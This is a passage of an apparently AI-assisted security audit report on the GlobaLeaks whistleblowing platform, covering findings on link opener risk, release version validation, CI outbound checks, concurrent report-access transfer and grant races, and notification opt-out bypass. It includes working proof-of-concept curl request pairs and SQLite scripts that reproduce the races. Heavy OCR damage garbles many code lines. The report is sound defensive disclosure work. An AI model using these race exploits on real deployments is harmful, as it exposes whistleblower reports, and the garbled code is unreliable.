
2. Inspect the installer trust path.

nl -ba scripts/install.sh | sed -n '143, 158p'

3. Build the image.

docker build -f docker/Dockerfile docker

Expected result

The Docker image build should use immutable, reviewable, and independently verified inputs. Remote scripts
should be vendored, pinned by digest, or avoided in favor of explicit package installation with verified signing keys
and pinned package versions where feasible.

Actual result

The build executes the current remote install.sh asrootand trusts the key downloaded by that script during
the build.

Impact

This is a supply-chain weakness in the Docker build process. It primarily a ects maintainers, Cl systems, release
builders, and downstream users who trust images built from this Dockerfile.

Impacted users or systems:

o Cl orrelease systems building the Docker image from source.

e Users deploying images produced after a compromised build input.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High High High

Download of Code Without Integrity Check
Inclusion of Functionality from Untrusted Control Sphere
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11.20 F-091 - External links keep opener risk

External links opened in a new tab are documented without the usual opener protections, leaving an avoidable
browser hardening gap.

IMPACT COMPONENT FOUND BY
Browser hardening gap Documentation GPT-5.5 medium v1

The application security documentation describes opening untrusted links in new tabs with target ="_bl ank"
but the documented example omits rel ="noopener noreferrer" . Several static client templates also use
target="_bl ank" without rel ,creating a reverse-tabnabbing hardening gap for external links.

Details

The documentation describes the behavior as independent of the application context, but the example does not
include the attributes normally used to sever opener access and suppress referrer leakage.

A ected source code, component, endpoint, or function:

docunent at i on/ t echni cal / security/ application-security.rst
client/app/index. ht ni

client/app/ src/pages/ app/ app. conponent . ht ni

client/app/ src/services/ hel per/ mar kdown. service.ts

Description:

Links opened with target="_bl ank" should include rel ="noopener noreferrer" when pointing to remote or
untrusted URLs. The Markdown renderer adds these attributes, but the documentation example omits them and
static client templates contain external links with target ="_bl ank" only.

The documentation should show the hardened pattern consistently, and static templates should be aligned with
the documented security behavior.

Relevant code:

docunent ati on/ t echni cal / security/ application-security.rst:

253 The client opens external URLs in a new tab, independent of the application
context, by setting ““target="_blank' """ on renmote or untrusted anchor tag.

256 <a href="url" target="_blank">link title</a>

client/app/index. htni:
18 <a href="https://wmu gl obal eaks. org" target="_bl ank" >3 obalLeaks</ a>
18 <a href="https://wmw:.torproject.org/downl oad/" target="_bl ank">Tor Browser</a>

client/app/ src/ pages/ app/ app. conponent . ht ni :

4 <a href="https://ww:. gl obal eaks. org" target="_bl ank">Q obalLeaks</ a>

4  <a href="https://wwtorproject.org/ dowl oad/" target="_bl ank">Tor Browser</a>
4 <a href="https://docs. gl obal eaks. org/ en/ st abl e/ getti ngstarted/

Suppor t edBrowsers. ht m " target="_bl ank" >Her e</ a>

client/app/ src/services/ hel per/ mar kdown. servi ce. ts:

16 return htm.startsWth('<a ')
17 ? '<a target="_bl ank" rel ="noopener noreferrer" ' + htn.slice(3)
PoC
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The issue can be reproduced by inspecting the documentation example and static templates.

Steps to reproduce

1

Inspect the documented anchor example.

nl -ba docunentati on/technical /security/application-security.rst | sed -n
' 251, 257p'

. Inspect static templates containing external links.

rg -n "target="_blank"' client/app/index.htm client/app/src/pages/app/
app. conponent . ht n

Compare with the Markdown renderer.

Mar kdown-rendered |inks add rel ="noopener noreferrer”, but the docunentation
exanpl e and static tenplates do not.

Expected result

Documentation and static templates should use target="_bl ank" rel =" noopener
untrusted links.

Actual result

The documentation example and several static external links use target ="_bl ank"

Impact

noreferrer" forremote or

without rel

This is a browser hardening issue. If a user opens an untrusted or compromised external page from the
application, the new page may retain opener access in browsers or contexts that do not implicitly apply

noopener , and referrer data may be leaked without noreferrer

Impacted users or systems:

e Users clicking external links rendered from static templates.

e Developers following the documented example for future link handling.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low None

Use of Web Link to Untrusted Target with window.opener Access
CWE-200 ) Exposure of Sensitive Information to an Unauthorized Actor
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11.21 F-092 - Release accepts malformed
version

A malformed version string can propagate through release metadata, tags, and package files and break the
release process.

IMPACT COMPONENT FOUND BY
Release integrity risk Scripts GPT-5.5 medium v1

The release helper scripts accept an arbitrary version string and write it into Python, JSON, YAML, Debian
changelog, commit messages, and signed Git tag names. Invalid or crafted version values can corrupt release
metadata or produce ambiguous tags.

Details

A ected source code, component, endpoint, or function:

scri pt s/ bunp_versi on. sh
scripts/tag_rel ease. sh

Description:

The release scripts only check that the first argument is non-empty. They do not validate that the value is a valid
project, Debian, npm, publiccode , or Git tag version. The value is interpolated into several file formats and Git
commands.

This is primarily a release integrity and robustness issue for maintainer tooling. If a version value is copied from an
untrusted source or forwarded from automation, the scripts can generate malformed source files, malformed
package metadata, or unexpected tag hames.

Relevant code:

scri pt s/ bunp_versi on. sh:

70f [[ "$1" '=""1]; then
8 echo "Updating version to v$1"

12 sed -i "s/~__version__ =*/__version__ ="'$1'/g" "$ROOTD R'/ backend/

gl obal eaks/ __init__.py

14 sed -i "s/\"version\":.*/\"version\": \"$1\",/g" "$ROOTDI R'/client/

package. j son

16 awk -v ver="$1" 'BEA N{cnt=0} /"version":/ &% cnt<2 {sub(/"version": "[A"]*"/
, "\"version\": \"" ver "\""); cnt++} 1' "$ROOTDI R/ client/npm shrinkw ap.json" >
tnp & nv tnp "$RAOTD R/ cli ent/npm shri nkw ap. j son"

20 sed -i "s/softwareVersion:.*/softwareVersi on: $1/g" "$ROOTD R'/ publ i ccode. ym
22 echo -e "global eaks ($1) stable; urgency=nedi um

28 git comit -a -m"Bunp to version $1"
scripts/tag_rel ease. sh:
if [[ "$1" t=""1]]; then

5|
6 echo "Taggi ng version v$1"
8 git tag -s v$1l -m' d obalLeaks version $1' --force
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Steps to reproduce

1. Run the version bump script with a syntactically invalid version on a disposable branch.

./scripts/bunp_version.sh "1.2.3 invalid"

2. Inspect generated metadata.

git diff -- backend/ gl obal eaks/ __init__.py client/package.json publiccode.ym
debi an/ changel og

3. Observe that the value is written into multiple release metadata formats without prior validation.

_version__ ='1.2.3 invalid

“version": "1.2.3 invalid",

softwareVersion: 1.2.3 invalid

gl obal eaks (1.2.3 invalid) stable; urgency=nmedi um

Expected result

Release scripts should validate the version against the accepted project/package version format before
modifying files or creating tags.

Actual result

Any non-empty string is accepted and written into release metadata.

Impact

This can break builds, publish invalid package metadata, or create confusing release tags. The impact is mainly
on release integrity and depends on maintainer or automation use.

Impacted users or systems:

e Maintainers running release helper scripts.

¢ Release automation that passes externally supplied version strings.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Low Low

Improper Input Validation
Improper Encoding or Escaping of Output
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11.22 F-094 - Workflow performs outbound URL
checks

Cl validation can make outbound requests to third-party URLs referenced in publ i ccode. ymi and leak validation
activity.

IMPACT COMPONENT FOUND BY
Cl metadata exposure Workflow GPT-5.5 medium v1

The publiccode. ymi validation workflow runs italia/publiccode-parser-action without disabling network-
dependent checks. By default, the action may perform outbound requests to URLSs referenced in

publ i ccode. ymi , exposing Cl metadata and URL access patterns to third-party hosts during every push and pull
request validation.

Details

A ected source code, component, endpoint, or function:

. gi t hub/ wor kf | ows/ publ i ccode-yni -val i dati on. ym
publ i ccode. ym

Description:

The workflow invokes italia/ publiccode-parser-action with onlythe publiccode input. The action's no-
networ k input defaults to fal se , so checks that require network connections, such as URL existence and
oEmbed checks, remain enabled.

The repository's publ i ccode. yni contains multiple external URLs. During workflow execution, the validator may
request those URLs from the GitHub Actions runner. The remote hosts can observe request metadata such as the
runner IP address, timestamp, requested URL, user agent, and redirects followed. The complete repository is not
intentionally uploaded by this workflow, but the outbound validation tra c is unnecessary if the Cl objective is
only schema or local file validation.

Relevant code:
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. gi t hub/ wor kf | ows/ publ i ccode-yni -val i dati on.ym :
3 on: [pull_request, push]

15 - uses: italia/publiccode-parser-acti on@1086c73ec0563e14c6748787ef alb34b0

25ad8c # v1.5.1
16 Wi th:
17 publ i ccode: ‘' publiccode. ym '

publ i ccode. ym :

4 url: 'https://github. conigl obal eaks/ gl obal eaks-whi st | ebl owi ng- sof t war e’
5 landingURL: ' https://ww:. gl obal eaks. org/"

6 roadmap: "https://docs. gl obal eaks. or g/ en/ st abl e/ t echni cal / r oadmap. ht m *
33 uri: https://ww gl obal eaks. org

145 [ G obaleaks] (htt ps://wwmv. gl obal eaks. org/) is a free and open-source
whi st | ebl owi ng

151 [many use cases] (https://wwu gl obal eaks. or g/ usecases/) and therefore
153 translated in [nore than 70 | anguages] (https://waw transifex. conotf/
gl obal eaks)

158 [Digital Public Good Al liance](https://digital publicgoods.net) as a
159 [Digital Public Good](https://digital publicgoods. net/r/gl obal eaks).

160 docunentation: ' https://docs. gl obal eaks. org/’

PoC

The issue can be reproduced by inspecting the workflow configuration and the action inputs.

Steps to reproduce

1. Inspect the workflow invocation.

nl -ba . github/workfl ows/ publiccode-yni-validation.ym

2. Confirm that only the publ i ccode inputis provided and that neither no-network nor no-ext ernal - checks
is set.

15 - uses: italia/publiccode-parser-acti on@1086c73ec0563e14c6748787ef alb34b0
25ad8c # v1.5.1

16 with:

17 publ i ccode: ‘' publiccode.ym"’

3. Inspect the action metadata for the pinned action version.

curl -fsSL https://raw githubusercontent.coniitalia/publiccode-parser-action/
21086¢73ec0563e14c6748787ef alb34b025ad8c/ act i on. ym

4. Observe that no-network defaultsto fal se andis documented as disabling URL existence and oEmbed
checks when enabled.

no- net wor k:

description: 'Disables checks that require network connections (URL existence
and oEnbed). This makes validation nuch faster.'

required: false

default: "fal se”

Expected result

The workflow should avoid outbound network validation unless it is explicitly required. For local validation, it
should set no-network: 'true' or no-external -checks: 'true'
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Actual result

The workflow leaves network-dependent checks enabled, allowing the validator to contact external URLs
referenced by publiccode. ynt during push and pull request runs.

Impact

This is a Cl data-egress and privacy hardening issue. Third-party hosts referenced in publ i ccode. ymt may

receive requests from GitHub Actions runners whenever the workflow runs. The observed information is limited to
request metadata and the requested URLS, but it creates avoidable external dependencies and externally visible
validation activity.

Impacted users or systems:

e Repository Cl runs triggered by pushes and pull requests.
e Operators or maintainers who expect validation to be local-only.

e Third-party services referenced by publ i ccode. yni |, which may receive automated Cl requests.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low None Low

CWE-200 ) Exposure of Sensitive Information to an Unauthorized Actor
CWE-668 ) Exposure of Resource to Wrong Sphere
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11.23 F-097 - Concurrent transfers fan out
access

Concurrent transfers can turn a single hando into report access for multiple recipients instead of exactly one.

IMPACT COMPONENT FOUND BY

Report data exposure Backend GPT-5.5 xhigh via
run_codex_cwe_line v2

Recipient report transfers are implemented as a grant to the target recipient followed by a revocation of the
transferring recipient's own Recei ver Ti p row. The operation does not lock the source access row or verify at
commit time that the source recipient still has access. Two concurrent transfer requests from the same recipient
to two di erent target recipients can both pass the initial access check, both insert a new target Recei verTip |,
and then only one request actually removes the source row. A recipient with transfer-only permission can
therefore turn one report access transfer into access for multiple recipients, bypassing the intended distinction
between transfer and grant permissions.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/recipient/rtip.py - transfer_tip_access(),

db_grant _tip_access(), db_revoke_tip_access(), db_access_rtip()

backend/ gl obal eaks/ model s/ __init__.py - _User permssion flags, _ReceiverTip nodel
PUT /api/recipient/rtips/<report-id> wth operation transfer

Description:

transfer_tip _access() requiresonly can_transfer_access to reports ,not
can_grant _access_to_reports .lIts intended behavior is a move: add access for one target recipient, then
remove access from the transferring recipient.

The implementation performs the source access check at the start of the transaction through
db_access_rtip() ,inserts the target access row through db_grant _ti p_access() , and then calls

db_revoke_tip_access() forthe source recipient. There is no row lock, compare-and-delete check, or
conditional insert tying the new target row to the continued existence of the source Recei verTip row.

With SQLite deferred transactions and the ORM worker thread pool, two concurrent transfer requests can both
read the source recipient's original Recei ver Ti p before either request performs a write. One transaction can
then commit a transfer to target A and delete the source row. The other transaction still holds the previously
loaded source Recei verTi p object, so it can insert target B and the later source revoke becomes a no-op. The

final state contains both target recipients, so a transfer-only recipient has e ectively granted report access to
multiple recipients.

The target recipients di er, so this race does not rely on duplicate rows for the same (internaltip_id,
recei ver _id) pair. The impact is unauthorized access fan-out from the transfer operation itself.

Relevant code:
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# backend/ gl obal eaks/ handl ers/ reci pient/rtip.py
@ransact
def transfer_tip_access(session, tid, user_id, user_cc, itip_id, receiver_id):
user, rtip, itip = db_access_rtip(session, tid, user_id, itip_id)
if user_id == receiver_id or not user.can_transfer_access_to_reports:
rai se errors. Forbi ddenQperati on

new receiver, _ = db_grant_tip_access(session, tid, user, user_cc, itip, rtip,
recei ver _i d)
if new receiver:
db_revoke_tip_access(session, tid, user, itip, user_id)
db_notify_grant_access(session, new receiver)
db_| og(session, tid=tid, type='transfer_access', user_id=user_id,
object_id=itip.id, data=log_data)

# backend/ gl obal eaks/ handl ers/reci pient/rtip. py
def db_access_rtip(session, tid, user_id, itip_id):
return db_get (session,
(nodel s. User, nodel s. Recei verTi p, nodel s. I nternal Tip),
(nodel s. User.id == user_id,
nodel s. Internal Tip.id == itip_id,
nodel s. Recei ver Ti p. recei ver _i d == nodel s. User. i d,
nodel s. Recei verTip.internaltip_id == nodel s. Internal Tip.id,
nodel s. Internal Tip.tid == tid))

# backend/ gl obal eaks/ handl ers/reci pient/rtip.py

def db_grant_tip_access(session, tid, user_id, user_cc, itip, rtip, receiver_id):
exi sting = session. query(nodel s. Recei verTip).filter(nodel s. Recei verTi p. recei ve

r_id == receiver_id,

nodel s. Recei verTip.internaltip_id == itip.id).one_or_none()

if existing:
return None, None

new rtip = db_create_receivertip(session, newreceiver, itip, _tip_key)

# backend/ gl obal eaks/ handl ers/recipient/rtip. py
def db_revoke tip_access(session, tid, user_id, itip, receiver_id):
rtip = session. query(nodel s. Recei verTip) \
.filter(nodel s. ReceiverTip.internaltip_id == itip.id,
nodel s. Recei ver Ti p. recei ver _id == recei ver_i d).one_or_none()
if rtipis None:
return Fal se

session. del ete(rtip)
return True

# backend/ gl obal eaks/ nodel s/ __init__.py
class _User (Model):

can_grant _access_to_reports = Col unn(Bool ean, defaul t=Fal se, nul | abl e=Fal se)

can_transfer_access_to_reports = Col unn(Bool ean, defaul t=Fal se,
nul | abl e=Fal se)

PoC

Steps to reproduce

1. Use a deployment with a report REPCRT_I D , a source recipient session SOURCE_SESSI ON , and two target
recipient UUIDs TARGET_A and TARGET_B . The source recipient must have access to the report and
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can_transfer_access_to_reports enabled. can_grant_access_to reports can be disabled. Neither target
should already have access to the report.

2. Send two transfer operations at the same time, each to a di erent target recipient:

BCODY_A=' {"operation":"transfer", "args":{"receiver":"TARGET_A"'}}"
BCDY_B-='{"operation":"transfer","args":{"receiver":"TARCET_B'}}'

curl -s -X PUT "https://<host>/api/recipient/rtips/ REPCRT_I D" \
-H "Content-Type: application/json" \
-H "X-Session: SOURCE_SESSI CN' \
--data "$BODY_A" &

curl -s -X PUT "https://<host>/api/recipient/rtips/ REPCRT_I D' \
-H "Content - Type: application/json" \
-H "X-Sessi on: SOURCE_SESSI ON' \
--data "$BCDY_B' &

vai t
3. On a test copy of the database, inspect the access rows for the report:

SELECT receiver_id

FRCM recei vertip

WHERE internaltip_id = ' REPORT_I D
CRDER BY recei ver_id;

The low-level database interleaving can be reproduced with the same check-then-insert-then-delete shape:
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python3 - <<'PY'
inport os, shutil, sqglite3

root = "'.audit-transfer-race-poc’
shutil.rntree(root, ignore_errors=True)
os. nkdi r(root)

path = os.path.join(root, 'race.db")

conn = sql i te3. connect (pat h)

conn. execute(' create table receivertip (id text primary key, internaltip_id text,
receiver_id text)")

conn. execute('insert into receivertip values (?,?,?)', ('source-row, 'report',
'source'))

conn. commi t ()

conn. cl ose()

cl
c2

sqgl i te3. connect (path, tineout=30)
sql i te3. connect (path, tinmeout=30)

print('cl source read:"', cl.execute(
‘select id fromreceivertip where internaltip_i d=? and receiver_i d=?",
(‘report', 'source')).fetchall())

print('c2 source read:', c2.execute(
"select id fromreceivertip where internaltip_i d=? and receiver_i d=?",
(‘report', 'source')).fetchall())

cl.execute('insert into receivertip values (?,?,?)"', ('target-a-row, 'report',
"target-a'))

cl.execute(' del ete fromreceivertip where internaltip_id=? and receiver_id=?",
("report', 'source'))

cl.comit()

c2.execute('insert into receivertip values (?,2,?)', ('target-b-row, 'report',
"target-b'))
print('c2 source revoke rows:', c2.execute(
"del ete fromreceivertip where internaltip_id=? and receiver_id=?",
(‘report', 'source')).rowcount)
c2.commt()

print(‘final rows:', sqlite3.connect(path).execute(
"select id, receiver_id fromreceivertip order by id).fetchall())

shutil.rntree(root)
PY

Avulnerable interleaving prints both target rows in the final state while the second source revoke a ects zero
rows.

Expected result

A transfer should atomically move report access from the source recipient to exactly one target recipient.
Concurrent transfer attempts should either serialize so one target wins, or fail cleanly when the source access row
has already been consumed.

Actual result

Both transfer requests can succeed far enough to insert their target access rows. The source row is removed
once, but both target recipients retain access to the report.

Impact

This is a resource-locking flaw in the recipient report-access transfer workflow.

Impacted users or systems:
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o Deployments that grant recipients can_transfer_access_to_reports without also granting
can_grant _access_to_reports .

e Reports transferred by a malicious or compromised recipient to more than one target recipient.

o Whistleblowers and administrators relying on transfer semantics to avoid broad report sharing.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low None

Improper Resource Locking
Missing Lock Check

CWE-362 ) Concurrent Execution Using Shared Resource with Improper Synchronization (Race Condition)
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11.24 F-098 - Concurrent grants corrupt report
access

Concurrent grants can duplicate access rows and leave the target recipient unable to use the report normally.

IMPACT COMPONENT FOUND BY

Report availability loss Backend GPT-5.5 xhigh via
run_codex_cwe_line v2

Recipient report-access grants and transfers perform a check-then-insert on Recei ver Ti p rows without a
database uniqueness constraint or lock. Two concurrent grant or transfer requests for the same report and target
recipient can both observe that no access row exists, then both insert one. The duplicate rows corrupt the report-
access state for the target recipient:. backend paths that expect a single Recei ver Ti p row then raise multiple-
result errors, making the granted report detail, recipient-file upload, and report export unavailable for that
recipient.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/reci pient/rtip.py —db _grant_tip_access(),

grant _tip_access(), transfer_tip_access(), db_access_rtip(),
register_rfile_on_db()

backend/ gl obal eaks/ handl er s/ whi st | ebl ower / subm ssi on. py —db_create_recei vertip()
backend/ gl obal eaks/ nodel s/ __init__.py —_ ReceiverTi p nodel

backend/ gl obal eaks/ handl er s/ reci pi ent/export.py —get_tip_export()

PUT /api/recipient/rtips/<report-id> wth operation grant or transfer

Description:

db_grant _tip_access() checks foran existing ReceiverTi p row for the target (internal tip_id,
recei ver _id) pair, then inserts a new row if the check returns none. The operation runs in an ORM worker
transaction, but the Recei ver Ti p table has only an autogenerated primary key and separate indexes on
internaltip_id and receiver_id ;itdoes not enforce uniqueness for the pair.

With SQLite's default deferred transactions, two concurrent worker transactions can both run the read before
either insert is committed. Both then insert distinct Recei ver Ti p.i d values for the same report and recipient.
The repository has no lock, conditional insert, or uniqueness constraint to collapse that race.

Several later recipient paths assume there is exactly one access row for a recipient/report and use .one() or
.one_or_none() .After duplicate rows exist, those paths raise Ml ti pl eResul t sFound instead of returning the

report. A malicious recipient with grant or transfer rights can therefore corrupt another recipient's access to a
report by sending parallel authorized operations.

Relevant code:
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# backend/ gl obal eaks/ handl ers/ reci pient/rtip.py
def db_grant_tip_access(session, tid, user_id, user_cc, itip, rtip, receiver_id):
exi sting = session. query(nodel s. Recei verTip).filter(nodel s. Recei verTi p. recei ve

r_id == receiver_id,
nodel s. Recei verTip.internaltip_id == itip.id).one_or_none()
if existing:

return None, None
new rtip = db_create_receivertip(session, newreceiver, itip, _tip_key)

@ransact
def grant_tip_access(session, tid, user_id, user_cc, itip_id, receiver_id):
user, rtip, itip = db_access_rtip(session, tid, user_id, itip_id)
if user_id == receiver_id or not user.can_grant_access_to_reports:
rai se errors. Forbi ddenCper ati on

new receiver, _ = db_grant_tip_access(session, tid, user, user_cc, itip, rtip,
recei ver _i d)

# backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ subni ssi on. py

def db_create_receivertip(session, receiver, internaltip, tip_key):
recei vertip = nodel s. Recei ver Ti p()
receivertip.internaltip_id = internaltip.id
receivertip.receiver_id = receiver.id
recei vertip.crypto_tip_prv_key = Base64Encoder. encode(ti p_key)
sessi on. add(r ecei vertip)
return receivertip

# backend/ gl obal eaks/ nodel s/ __init__.py
class _Recei ver Ti p( Model ) :
__tablename__ = 'receivertip'

id = Col unmn(Uni codeText (36), prinary_key=True, defaul t=uui d4)
internaltip_id = Col unm( Uni codeText (36), nul | abl e=Fal se, index=True)
recei ver_id = Col um( Uni codeText (36), nullabl e=Fal se, index=True)

@lecl ared_attr
def __table_ args_ (self):
return (ForeignKeyConstraint(['receiver_id ], ['user.id],
ondel et e=' CASCADE , deferrabl e=True, initially="DEFERRED ),
For ei gnKeyConstraint(['internaltip_id ], ["internaltip.id],
ondel et e=' CASCADE , deferrabl e=True, initially=" DEFERRED ))

# backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py
def db_access_rtip(session, tid, user_id, itip_id):
return db_get (session,
(nodel s. User, nodel s. Recei verTi p, nodel s. I nternal Tip),
(rodel s. User.id == user_id,
nodel s. Internal Tip.id == itip_id,
nodel s. Recei ver Ti p. recei ver _id == nodel s. User. i d,
nodel s. Recei verTip.internal tip_id == nodel s. Internal Tip.id,
nodel s. Internal Tip.tid == tid))

def register_rfile_on_db(...):
rtip, itip = session. query(nodel s. Recei verTip, nodels.Internal Tip) \
.filter(nodels.Internal Tip.id == itip_id,
nodel s. Recei ver Ti p. recei ver _id == user_id,
nodel s. Recei verTip.internaltip_id ==
nodel s. I nternal Tip.id,
nodel s. Internal Tip.tid == tid).one()
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# backend/ gl obal eaks/ handl er s/ r eci pi ent/ export . py
user, context, itip, rtip = session.query(nodels. User, nodels. Context,
nodel s. I nternal Tip, nodel s. Recei verTip) \
.filter(nodel s. User.id == user_id,
nodel s. Wser.tid == tid,
nodel s. Recei ver Ti p. recei ver _i d == nodel s. User. i d,

nodel s. Internal Tip.id == nodel s. Recei verTip.internal tip_id,

nodel s. Internal Tip.id == itip_id,
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nodel s. Context.id == nodel s. | nternal Ti p. context _i d). one_or_none()

PoC

Steps to reproduce

1. Use a deployment with a report REPCRT_I D , a recipient GRANTCR _SESSI CN who has
can_grant _access_to_reports or can_transfer_access_to _reports ,and atarget recipient UUID
TARGET_RECQ PI ENT_I D that does not already have access to the report.

2. Send two grant operations at the same time:

BCDY='{"operation":"grant", "args":{"recei ver":"TARGET_REC PIENT_| D'}}'

curl -s -X PUT "https://<host>/api/recipient/rtips/ REPCRT_I D" \
-H "Content-Type: application/json" \
-H "X Session: GRANTCR SESSI ON' \
--data "$BODY" &

curl -s -X PUT "https://<host>/api/recipient/rtips/ REPCRT_I D' \
-H "Content - Type: application/json" \
-H "X-Session: GRANTCR SESSI ON' \
--data "$BODY" &

vai t

The same race is reachable through {"operation":"transfer", "args":
{"receiver":"TARGET_REC PIENT_I D'}} when the grantor has transfer permission.

3. Confirm that two access rows can exist for the same pair. On a test copy of the database, the a ected state is

visible with:

SELECT internaltip_id, receiver_id, OOUNT(*)
FROM recei vertip

GROP BY internaltip_id, receiver_id
HAVI NG COUNT(*) > 1;

The missing lock/constraint can also be reproduced with the same SQLite transaction pattern used by the

application:
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python3 - <<' PY'
inport os, sqglite3, tenpfile

path = os. path.join(tenpfile. nkdtenp(), 'race.db')
sql i te3. connect (pat h) . execut e(
‘create table receivertip (id text prinary key, internaltip_id text,
recei ver_id text)'
). connecti on. commi t ()

cl
c2

sql i te3. connect (path, tinmeout=30)
sgl i te3. connect (path, tinmeout=30)

print(cl. execute('select * fromreceivertip where internaltip_id=? and

receiver_id=?", ('report', 'recipient')).fetchall())
print(c2.execute('select * fromreceivertip where internaltip_id=? and
receiver_id=?", (‘report', 'recipient')).fetchall())

cl.execute('insert into receivertip values (?,?,?)', (‘rowa, 'report',
‘recipient'))

cl.comit()

c2.execute('insert into receivertip values (?,2,?)', (‘rowb', 'report’,
"recipient'))

c2.commit()

print(sqlite3.connect(path).execute('select id, internaltip_id, receiver_id from

receivertip').fetchall())
PY

4. Log in as the target recipient and request the granted report detail or export:

curl -i "https://<host>/api/recipient/rtips/REPCRT_ID' \
-H "X Sessi on: TARGET_REC Pl ENT_SESS| ON'

curl -i "https://<host>/api/recipient/rtips/ REPCRT_| O export" \
-H "X Sessi on: TARGET_REQ Pl ENT_SESS| ON'

Expected result

The backend should create at most one Recei ver Ti p row for each report and recipient. Concurrent duplicate
grants should be idempotent or one should fail cleanly, and the target recipient should be able to access the
granted report.

Actual result

Concurrent grants can create two Recei verTi p rows forthe same (internaltip_id, receiver_id) pair
Subsequent access paths that use .one() or .one_or_none() forthe target recipient/report encounter
multiple rows and fail instead of returning the report detail or export.

Impact

This is a resource-locking and integrity issue in recipient report-access state.
Impacted users or systems:

e Recipients who are granted or transferred access to a report by another recipient.
o Deployments that allow recipients to grant or transfer report access.

e Reports whose ReceiverTi p access rows are duplicated by concurrent recipient operations.
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AVAILABILITY
High

Concurrent Execution Using Shared Resource with Improper Synchronization (Race Condition)
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11.25 F-100 - Report mail ignores recipient opt-
outs

Report emails can still be queued after a recipient opted out, allowing workflow data to leave the platform
through mail anyway.

IMPACT COMPONENT FOUND BY
Notification policy bypass Backend GPT-5.5 xhigh via
run_codex_cwe_line v2

Direct report-notification helpers queue recipient mail without using the central mail generator that enforces a
recipient's account-level notification preference and per-report enabl e notifications setting A malicious

recipient or whistleblower with report access can therefore cause report-update, report-access, or identity-
access emails to be queued after the a ected recipient opted out of those notifications.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ j obs/ noti fication. py: 45 Mai | Generat or. process_nai | _creation()
backend!/ gl obal eaks/ handl er s/ whi st | ebl ower/wbti p. py: 28 db_noti fy_report_updat e()
backend/ gl obal eaks/ handl er s/ whi st | ebl ower/wbt i p. py: 56

db_notify recipients_of _tip_update()

backend/ gl obal eaks/ handl ers/reci pient/rtip.py: 36 db_notify_grant_access()
backend/ gl obal eaks/ handl ers/ reci pi ent/rtip. py: 555 update_ti p_subm ssi on_status()
backend/ gl obal eaks/ handl ers/ custodi an/ __init__.py:45
db_create_identity_access_reply_notifications()

Description:

The periodic notification job funnels normal report mail through Mai | Gener at or . process_nai | _creation() .
That helper drops mail when the destination user disabled notifications or when the serialized report has
enabl e_notifications setto false forthatrecipient.

Several direct backend helpers bypass this data-manager-like boundary and add Mai | rows themselves.
db_notify_report_update() and db_notify_grant_access() do notcheck eitherthe user notification flag or
per-report enabl e_notifications before formatting and queuing mail. updat e_ti p_subni ssi on_st at us()
and db_notify_recipients_of _tip_update() call db_notify_report_update() directly. The custodian
identity-access reply helper checks User.notification butnot rtip.enable_notifications .

This is distinct from the already-filed global administrator notification-toggle issue: even when global recipient
notifications are otherwise enabled, an individual recipient can explicitly opt out through their user preferences or
disable notifications on a specific report, yet direct helper paths can still put report metadata and report URLs into
the mail spool.

Relevant code:
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45 def process_nail _creation(self, session, tid, data):

46 user_id = data['user']["id"]

a7 | anguage = data['user']['language']

48

49 # Do not generate enmils if the receiver has disabled notifications
50 if not data['user']['notification'] or ('tip" in data and not
data['tip' ][ enable_notifications']):

51 | 0g. debug(“Di scarding enmails for % due to receiver's preference.”,
user _i d)

52 return

61 subj ect, body = Tenpl ating().get_nail_subject _and_body(dat a)

62

63 sessi on. add( model s. Mai | ({

backend/ gl obal eaks/ handl er s/ whi st | ebl ower /wbti p. py
28 def db_notify_report_update(session, user, rtip, itip):

35 data = {

36 ‘type': 'tip_update',

37 ‘user': user_serialize_user(session, user, user.|anguage),

38 ‘node' : db_adnin_serialize_node(session, user.tid, user.|anguage),

39 ‘tip': serializers.serialize rtip(session, itip, rtip, user.|anguage),
40 }

a7 subj ect, body = Tenpl ating().get_nail_subject_and_body(dat a)
48
49 sessi on. add( model s. Mai | ({

50 ‘address': data['user']['mail_address'],
51 ‘subj ect': subject,

52 * body' : body,

53 ‘tid: user.tid

54 1)

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ wbt i p. py
56 def db_notify recipients_of tip_update(session, itip_id):

57 for user, rtip, itip in session.query(nodels.User, nodels.ReceiverTip,

nodel s. I nternal Ti p) \
58 .filter(nodels. User.id ==
nodel s. Recei ver Ti p. recei ver _i d,

59 nodel s. Recei verTip.internaltip_id ==
nodel s. I nternal Tip.id,

60 nodel s. Recei verTi p. | ast _notification
< nodel s. Recei ver Ti p. | ast _access,

61 nodel s.Internal Tip.id == itip_id):
62 db_notify_report_update(session, user, rtip, itip)

backend/ gl obal eaks/ handl er s/ reci pi ent/rtip. py

36 def db_notify grant_access(session, user):

46 data['user'] = user_serialize_user(session, user, user.|anguage)

47 data[' node'] = db_adnmin_serialize_node(session, user.tid, user.|anguage)
54 subj ect, body = Tenpl ating().get_nai|_subj ect _and_body( dat a)

55)

56 sessi on. add( model s. Mai | ({

57 ‘address': data['user']['mail_address'],

58 ‘subj ect': subject,

59 * body' : body,

60 ‘tid: user.tid

61 }))

backend/ gl obal eaks/ handl ers/ reci pi ent/rtip. py

563 # send mail notification to all users with access to the report excluding
<user_i d>

564 for user in session.query(nodels. User) \

565 .filter(nodels. Wser.id ==

nodel s. Recei ver Ti p. recei ver _i d,

566 nodel s. Recei verTip.internaltip_id == itip.id,
567 nodel s. Recei verTip.receiver_id != user_id,

568 nodel s. Recei ver Ti p. | ast _noti fication <

nodel s. Recei ver Ti p. | ast _access):
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52 for user, rtip in session.query(nmodel s. User, nodels. ReceiverTip) \
58] .filter(nodel s. User.id ==
nodel s. Recei ver Ti p. recei ver _i d,
54 nodel s. Recei verTip.internaltip_id ==
itip.id,
55 nodel s. User. notification.is_(True)):
73 subj ect, body = Tenpl ating().get_mail _subject_and_body(dat a)
75 sessi on. add( nodel s. Mai | ({
PoC

Steps to reproduce

1. In a test deployment, create a report shared by two recipients, recipient-a and recipient-b .Login as
reci pi ent-b and disable notifications for the report through the existing recipient operation.

curl -s -X PUT ' https:// TARGET/ api/recipient/rtips/<report-id> \
-H ' X-Sessi on: <reci pi ent - b-session> \
-H ' Content-Type: application/json' \

